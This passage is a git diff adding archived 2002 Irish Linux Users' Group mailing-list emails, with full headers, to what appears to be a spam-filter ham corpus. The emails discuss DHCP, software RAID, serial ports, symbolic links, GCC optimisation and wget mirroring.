take +affect +> > immediately and it caused the internet disruption that required a +reboot or +> > at least a network reload? If so, can this be detected +automatically and +> > taken care of or is that just how it works? +> +> A DHCP client daemon (dhcpcd, pump) can do this automatically. Some +cable +> companies apparently reassign the same address over and over when the +leases run +> out, so you get away without a daemon for long enough to make you +think you +> don't need one. :-) +> +> Ronan +> +> + +Is what your talking about, this process is running all the time. + +root 422 0.0 0.4 1332 500 ? S 03:18 +0:00 /sbin/dhcpcd -D -N -Y -t 999999 -h cable-modem-1 eth0 + +If alright then maybe coincidence, I'll wait and see when I get another +address. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00411.795ae1b91264d007f60721c1c89a5ea7 b/bayes/spamham/easy_ham_2/00411.795ae1b91264d007f60721c1c89a5ea7 new file mode 100644 index 0000000..f859142 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00411.795ae1b91264d007f60721c1c89a5ea7 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Thu Aug 15 10:51:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 96F4B43C37 + for ; Thu, 15 Aug 2002 05:49:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EIiY430306 for + ; Wed, 14 Aug 2002 19:44:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA24129; Wed, 14 Aug 2002 19:43:36 +0100 +Received: from matrix.netsoc.tcd.ie (netsoc.tcd.ie [134.226.83.50]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA24104 for ; + Wed, 14 Aug 2002 19:43:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host netsoc.tcd.ie + [134.226.83.50] claimed to be matrix.netsoc.tcd.ie +Received: from matrix (localhost [127.0.0.1]) by matrix.netsoc.tcd.ie + (Postfix) with ESMTP id DCD403445A for ; Wed, + 14 Aug 2002 19:42:59 +0100 (IST) +Date: Wed, 14 Aug 2002 19:42:58 +0100 +To: "'ilug@linux.ie'" +Subject: POTW (Was Re: [ILUG] mirroring on a running system) +Message-Id: <20020814194258.B19685@netsoc.tcd.ie> +References: <0D443C91DCE9CD40B1C795BA222A729E018855D0@milexc01.maxtor.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <0D443C91DCE9CD40B1C795BA222A729E018855D0@milexc01.maxtor.com> +User-Agent: Mutt/1.3.23i +X-Operating-System: SunOS matrix 5.8 Generic_108528-09 sun4u sparc +From: Gary Coady +Mail-Followup-To: ilug@linux.ie +X-Delivery-Agent: TMDA/0.59 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Takers galore possibly (me inclusive). Especially when the subject +is more on-topic :-) + +Gary. + +On Wed, Aug 14, 2002 at 10:08:03AM +0100, Wynne, Conor wrote: +> All right, can't get pissed though as its a week-day. If we were to do +> it in Lucan, that would be another story ;--) +> +> Do we have many takers? +> +> CW +> +> ------------- +> On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: +> > When are we going to have a pint? +> +> Tuesday next week. Boars Head, Capel st. +> +> Kate + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00412.6a09bb8f01c0a8b740327514ba79b91d b/bayes/spamham/easy_ham_2/00412.6a09bb8f01c0a8b740327514ba79b91d new file mode 100644 index 0000000..e9aced5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00412.6a09bb8f01c0a8b740327514ba79b91d @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Thu Aug 15 10:51:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2325843C5B + for ; Thu, 15 Aug 2002 05:49:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:50 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EN5H407918 for + ; Thu, 15 Aug 2002 00:05:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA02997; Thu, 15 Aug 2002 00:04:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ogma.tuatha.org (postfix@ogma.tuatha.org [62.17.27.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA02963 for ; + Thu, 15 Aug 2002 00:04:37 +0100 +Received: from ogma (localhost [127.0.0.1]) by ogma.tuatha.org (Postfix) + with ESMTP id E264D4BE05; Thu, 15 Aug 2002 00:04:36 +0100 (IST) +Content-Type: text/plain; charset="iso-8859-1" +From: Colm Buckley +To: ilug@linux.ie, "John P. Looney" +Subject: Re: [ILUG] mirroring on a running system +Date: Thu, 15 Aug 2002 00:04:36 +0100 +User-Agent: KMail/1.4.2 +References: <20020813134842.GZ2019@jinny.ie> + <20020813151056.GB28648@jinny.ie> <20020814074252.GI28648@jinny.ie> +In-Reply-To: <20020814074252.GI28648@jinny.ie> +MIME-Version: 1.0 +Message-Id: <200208150004.36664.colm@tuatha.org> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + AAA02963 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed 14 Aug 2002 08:42, John P. Looney wrote: + +> It likely means that I was just lucky I put the failed-disk +> directive after the raid-disk one :) + +Extremely lucky. The other way around would have toasted your +existing volume. + + +> Anyway. It's doesn't quite boot right, with /=/dev/md0 in fstab. On +> boot, I see: + +In order to autodetect soft RAID volumes at boot, you need to set the +partition type on all the relevant raw disk partitions to 0xFD. I'm +not sure about the initrd stuff; as I don't use it myself. + + Colm + +-- +Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name +Office closed on Mondays. If you want anything on Monday, come on Tuesday. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00413.b7905c2033fef30a91bf1dcc4f0343bb b/bayes/spamham/easy_ham_2/00413.b7905c2033fef30a91bf1dcc4f0343bb new file mode 100644 index 0000000..8f3b340 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00413.b7905c2033fef30a91bf1dcc4f0343bb @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Thu Aug 15 10:51:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AA63743C5A + for ; Thu, 15 Aug 2002 05:49:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:48 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7ELpf405351 for + ; Wed, 14 Aug 2002 22:51:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA32396; Wed, 14 Aug 2002 22:50:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay07.indigo.ie (relay07.indigo.ie [194.125.133.231]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id WAA32361 for ; + Wed, 14 Aug 2002 22:50:30 +0100 +Received: (qmail 66084 messnum 1031127 invoked from + network[194.125.205.129/ts08-002.dublin.indigo.ie]); 14 Aug 2002 21:50:29 + -0000 +Received: from ts08-002.dublin.indigo.ie (HELO indigo.ie) + (194.125.205.129) by relay07.indigo.ie (qp 66084) with SMTP; + 14 Aug 2002 21:50:29 -0000 +Message-Id: <3D5AD125.5040509@indigo.ie> +Date: Wed, 14 Aug 2002 22:52:37 +0100 +From: Shane Kennedy +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0rc2) + Gecko/20020618 Netscape/7.0b1 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ILUG +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Serial port trouble +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + Can anyone offer me any advice on using an MRi dual port PCI - serial +card. MRi claim it works, but that not at 9600 baud. I AM using it at +9600, but I get a 10s delay on output, followed by just 16 bytes, +repeated untill complete. Similarly, on input, I get a delay before the +app' sees the data. + +TIA +Shane + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00414.a46602860d900cb89e1edd5583ffdb55 b/bayes/spamham/easy_ham_2/00414.a46602860d900cb89e1edd5583ffdb55 new file mode 100644 index 0000000..031ae7b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00414.a46602860d900cb89e1edd5583ffdb55 @@ -0,0 +1,108 @@ +Return-Path: ilug-admin@linux.ie +Delivery-Date: Mon Jul 22 16:02:38 2002 +Return-Path: +Received: from webnote.net (mail.webnote.net [193.120.211.219]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG2bY17194 + for ; Mon, 22 Jul 2002 17:02:37 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) + by webnote.net (8.9.3/8.9.3) with ESMTP id VAA24947 + for ; Sat, 20 Jul 2002 21:37:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA01250; + Sat, 20 Jul 2002 21:33:46 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA01211 + for ; Sat, 20 Jul 2002 21:33:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) + by ie.suberic.net (8.11.6/8.11.6) with ESMTP id g6KKXb927412 + for ; Sat, 20 Jul 2002 21:33:37 +0100 +Date: Sat, 20 Jul 2002 21:33:35 +0100 +To: Aidan Kehoe +Cc: ILUG Mailing List +Subject: Re: [ILUG] How to copy some files +Message-ID: <20020720213335.A27034@ie.suberic.net> +References: <1027108120.3d386d180910a@webmail.gameshrine.com> <15673.14143.879609.371088@gargle.gargle.HOWL> <20020720184341.E23917@ie.suberic.net> <15673.47359.781493.358686@gargle.gargle.HOWL> +Mime-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <15673.47359.781493.358686@gargle.gargle.HOWL>; from kehoea@parhasard.net on Sat, Jul 20, 2002 at 08:24:47PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-BeenThere: ilug@linux.ie + +On Sat, Jul 20, 2002 at 08:24:47PM +0100, Aidan Kehoe wrote: +> Ar an 20ú lá de mí 7, scríobh kevin lyda : +> > actaully i think soft links were invented because you can't hard link +> > directories. +> But you could hard link directories, back when soft links were +> being invented, AFAIK. + +that was before my time. all unix systems i've used didn't allow hard +links to directories, or if they did they were restricted to root. +the reason why is because you could cause infinite loops in the kernel - +usually a bad place for infinite loops. + +> > apparently some systems limited soft links to the same device but +> > gave up after a while. +> Why? + +to make them consistent with hard links. + +> A better way of doing it would be a) have global unique filesystem +> identifiers for every FS created (such that the chance of two of them +> clashing is miniscule; 64 bits creatively used would do it, I'd say), +> and b) implement the target info for the soft link as a {FSID, inode} +> pair; the OS can work out if the thing linked to is now on a different +> mount point, or has been moved. (HFS fans, is that what's done? Or are +> aliases implemented differently?) + +let's call these super-soft-links. ln -ss + + % ln -ss foo bar + % ls -i foo + 111 foo + % mv floyd foo + % ls -i foo + 222 foo + +and now bar no longer points to foo. + + % ln -ss foo bar + % ls -i foo + 111 foo + % rm foo + % touch floyd + % ls -i floyd + 111 floyd + +the fs would need to maintain a table of links going the other direction. +so when the move command unlinks foo in the first example, it could +check the table and mark that bar is now disconnected. the same would +be true for the second example - and even more important since bar points +to floyd if no table is consulted. + +and this all fails to handle nfs mounted file systems or filesystems +that have dynamic inodes (the fat fs's and reiser lacks inodes i think). + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie diff --git a/bayes/spamham/easy_ham_2/00415.5cb7b2e687cb52afad5b1169c631c129 b/bayes/spamham/easy_ham_2/00415.5cb7b2e687cb52afad5b1169c631c129 new file mode 100644 index 0000000..98bf374 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00415.5cb7b2e687cb52afad5b1169c631c129 @@ -0,0 +1,541 @@ +Return-Path: ilug-admin@linux.ie +Delivery-Date: Sat Jul 27 18:02:50 2002 +Return-Path: +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RH2oi11099 + for ; Sat, 27 Jul 2002 18:02:50 +0100 +Received: from lugh (root@localhost [127.0.0.1]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA23208; + Sat, 27 Jul 2002 18:01:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) + by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id SAA23172 + for ; Sat, 27 Jul 2002 18:01:12 +0100 +Message-Id: <200207271701.SAA23172@lugh.tuatha.org> +Received: (qmail 6320 messnum 30063 invoked from network[159.134.159.50/p306.as1.drogheda1.eircom.net]); 27 Jul 2002 17:00:40 -0000 +Received: from p306.as1.drogheda1.eircom.net (HELO there) (159.134.159.50) + by mail02.svc.cra.dublin.eircom.net (qp 6320) with SMTP; 27 Jul 2002 17:00:40 -0000 +Content-Type: text/plain; + charset="iso-8859-1" +From: John Gay +To: kevin lyda +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +Date: Sat, 27 Jul 2002 17:58:12 +0100 +X-Mailer: KMail [version 1.3.2] +References: <200207262228.XAA19581@lugh.tuatha.org> <20020727015716.A6561@ie.suberic.net> +In-Reply-To: <20020727015716.A6561@ie.suberic.net> +Cc: ilug@linux.ie +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-BeenThere: ilug@linux.ie + +On Sat 27 Jul 2002 01:57, you wrote: +> On Fri, Jul 26, 2002 at 11:24:30PM +0100, John Gay wrote: +> > A while ago I asked what other packages I should optomize for Pentium. +> > One person answered GlibC. This got me thinking about GCC itself, so I +> > asked on another list and got a few answers, most were "don't even think +> > about it" but a few suggested GCC and one pointed me to Linux From +> > Scratch. +> +> why? +> +> or more specifically, what do you mean? on one hand you can optimise +> how gcc is compiled. all that will do is make it generate the exact +> same code just a smidge faster. and since gcc is such a memory pig, +> you'd do better to buy more ram to up your fs cache hits and to keep +> gcc's heap out of swap. +> +To explain what I mean: +According to the PGCC site, GCC by itself is not very good at taking +advantage of the pipelining features introduced with the Pentium family. The +PGCC patches are supposed to make GCC generate tighter code, but your point +about compiler bugs is well taken. This is why I am taking things slow and +looking into these things. As Isaid, the PGCC site does not seem to have been +updated in at least a year or more?!? I am also looking into GCC itself. Now +that the 3.1. series is out, it might be better than when the PGCC patches +were written. The bottom line is, Pentiums have better instruction sets than +the original 386 instructions that they still support. The Pentium also +started introducing pipelining so properly generated code can be upto 30% +faster than equivulent code that performs the same function! As for why +optimise GCC if it will only produce that same code only slightly faster? The +speed is based on a percentage of the total compile time. The first time I +compiled the qt libs, with only 16M and a LOT of swap, it took over 48 hours. +I've now got 128M in the box but at 200Mhz any increase, distributed over +such a long compile is still considerable. + +> on the other side you can look into patches to gcc that affect it's +> code generation. um, ok, but keep in mind that compiler errors suck. +> i can't express that enough. compilers should just work. perfectly. +> always. doing anything that might affect that is, in my opinion, insane. +> they're hard to trace and you'd better have a deep knowledge of what's +> going on to either report bugs to the patch developers or to fix it +> yourself. plus my understanding is that gcc would need major changes +> to get large speed boosts on x86 chips. +> +My understanding, and I've followed the development of the Intel family since +the 8080, each generation since the 386 has introduced better and faster +instructions. I.E.: +The 486 introduced I.E.E.E floating point instructions by incorporating an +FPU on board. The first few generations were flaky, so Intel disabled the +dodgy ones and sold then as 486SX, I.E. without the FPU. Later generations +were better, this is why you only find slow 486SX's ;-) Therefore 486's, with +working FPU's can calculate floats faster than 386's, but you must generate +the proper codes to take advantage of this. + +The Pentium's improved the FPU logic and introduced pipelining. The first +generations of Pentiums had faulty FPu logic programmed into them, the +Pentium Bug, but subsequent ones were fine. These added instructions are +faster again then the 486 equivulents. Also, the pipelining needs careful +instruction ordering to take full advantage of it's speed improvements, +again, something the compiler must know about to utilise to full effect. +According the the PGCC site GCC does this poorly, but that info seems to be +dated, GCC3.1.x might be better. This is one of the areas I am researching +closely to get an answer. + +MMX added the ability to perform matrix calculations on int's with single +instructions and using special DMA features within the Pentium to speed this +up. Two problems with this: +1) int's are not very useful for most matrix calculations, floats would be +betters. +2) this is not something that can be optimised well by a compiler. It need to +be identified and provided for in the sources. +I.E. not much use to anyone, but makes great ad copy ;-) + +The PentiumPro improved the pipeline enormously. Again, a properly written +compiler should be able to optimise for this, once it can organise the code +properly. + +The PIII added MMX-type instructions for floats! Now this IS useful! +Graphic-Intensive programs can take greate advantage of this, but it must be +provided for in the source code. Compilers can not, usually optimise for this +sort of thing. XFree86 and DRI are two prime examples that do provide for +this, so the PIII can run XFree86 and DRI quite a bit faster, IF it's +compiled for these SSE instructions! + +Not sure what improvements the P4 introduce? I think it's mostly just speed +improvements rather than any execution changes. + +So, The difference between the 386 and the PentiumMMX 'should' yield a +significant speed boost if optimised correctly. There are faster floating +point instructions and pipelining that need optimising for. I'm not sure if +GCC can optimise properly for the pipelining, at least the PGCC group found +significant improvements to add to GCC2.95.3 to gain speed improvements of +upto 30%. 30% of 48 hours is 14.4 hours. Of course none of this will have any +effect on O/I bound processes but GUI's are mostly CPU bound. I am also +finding out about object pre-linking optimisations which should give even +better performance for QT and KDE. + +Now if I had another PIII for my box, I could take advantage of those SSE +instructions to optimise XFree86 as well! + +> kevin + +An, of course, I've loads of time on my hands now and I need something to +keep me busy. At least I can say that I've sucessfully built a full Linux +system, including KDE3 from scratch when I'm done ;-) +Cheers, + + John Gay + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/easy_ham_2/00416.77c8eaf76f48ec6757aa82c847ecd7ef b/bayes/spamham/easy_ham_2/00416.77c8eaf76f48ec6757aa82c847ecd7ef new file mode 100644 index 0000000..6b9761b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00416.77c8eaf76f48ec6757aa82c847ecd7ef @@ -0,0 +1,60 @@ +Return-Path: ilug-admin@linux.ie +Delivery-Date: Wed Aug 14 12:02:06 2002 +Return-Path: +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EB26411368 + for ; Wed, 14 Aug 2002 12:02:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA02363; + Wed, 14 Aug 2002 12:00:44 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net [159.134.100.159]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA02324 + for ; Wed, 14 Aug 2002 12:00:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) + by corvil.com. (8.12.5/8.12.5) with ESMTP id g7EB0Zn4035158; + Wed, 14 Aug 2002 12:00:35 +0100 (IST) + (envelope-from padraig.brady@corvil.com) +Message-ID: <3D5A3846.3030909@corvil.com> +Date: Wed, 14 Aug 2002 12:00:22 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ssuciu@sitelite.com +CC: ilug@linux.ie +Subject: RE: [ILUG] Server Partitioning +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-BeenThere: ilug@linux.ie + +Partitioning is an ambiguous term +but I think I know what you mean. +Have you looked at: http://freevsd.org/ + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + + + + + + + + + + + + diff --git a/bayes/spamham/easy_ham_2/00417.baf263143d4cfd55e4586e56f1820cd5 b/bayes/spamham/easy_ham_2/00417.baf263143d4cfd55e4586e56f1820cd5 new file mode 100644 index 0000000..b564bf3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00417.baf263143d4cfd55e4586e56f1820cd5 @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Fri Aug 16 11:48:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A723C43C5D + for ; Fri, 16 Aug 2002 06:18:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:18:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GAFUa12566 for + ; Fri, 16 Aug 2002 11:15:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA20095; Fri, 16 Aug 2002 11:12:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web10406.mail.yahoo.com (web10406.mail.yahoo.com + [216.136.130.98]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id LAA20061 + for ; Fri, 16 Aug 2002 11:12:31 +0100 +Message-Id: <20020816101229.14285.qmail@web10406.mail.yahoo.com> +Received: from [155.208.254.214] by web10406.mail.yahoo.com via HTTP; + Fri, 16 Aug 2002 11:12:29 BST +Date: Fri, 16 Aug 2002 11:12:29 +0100 (BST) +From: =?iso-8859-1?q?Eamonn=20Shinners?= +To: ILUG +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] [OT]:Bill Gates in Peru +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi guys, + slightly OT. This comes from The Register from last +month, but I only came across it; + +http://www.theregister.co.uk/content/4/26207.html + + Some/all of you may know that the government in +Peru were going to instruct state bodies to look at +using open source software in an attempt to save money +over M$ licences. Well, read the above article. + + Eamonn + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00418.67fdf820c65ce4d896d164903315e9e4 b/bayes/spamham/easy_ham_2/00418.67fdf820c65ce4d896d164903315e9e4 new file mode 100644 index 0000000..4dcc4f9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00418.67fdf820c65ce4d896d164903315e9e4 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Fri Aug 16 11:50:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 568EE43C36 + for ; Fri, 16 Aug 2002 06:38:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:38:57 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GAdwa13357 for + ; Fri, 16 Aug 2002 11:39:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA21325; Fri, 16 Aug 2002 11:38:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id LAA21291 for ; Fri, + 16 Aug 2002 11:38:33 +0100 +Received: (qmail 86063 messnum 566416 invoked from + network[213.190.140.167/unknown]); 16 Aug 2002 10:38:02 -0000 +Received: from unknown (HELO mail.capetechnologies.com) (213.190.140.167) + by mail03.svc.cra.dublin.eircom.net (qp 86063) with SMTP; 16 Aug 2002 + 10:38:02 -0000 +Received: from 127.0.0.1 (localhost [127.0.0.1]) by + dummy.capetechnologies.com (Postfix) with SMTP id ACACB422D for + ; Fri, 16 Aug 2002 11:36:55 +0100 (IST) +Received: from moon (monterey.capetechnologies.com [192.120.240.131]) by + mail.capetechnologies.com (Postfix) with ESMTP id 18D7A4227 for + ; Fri, 16 Aug 2002 11:36:55 +0100 (IST) +From: "Ciaran Treanor" +To: +Date: Fri, 16 Aug 2002 11:34:23 +0100 +Organization: CAPE Technologies +Message-Id: <003201c24510$7c9aaca0$83f078c0@moon> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +Subject: [ILUG] Mirror a website +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, +This is driving me nuts. I'm trying to run a once off mirror of a +website using wget. It's ignoring images and not recursing links (even +though I've specified the --mirror flag). 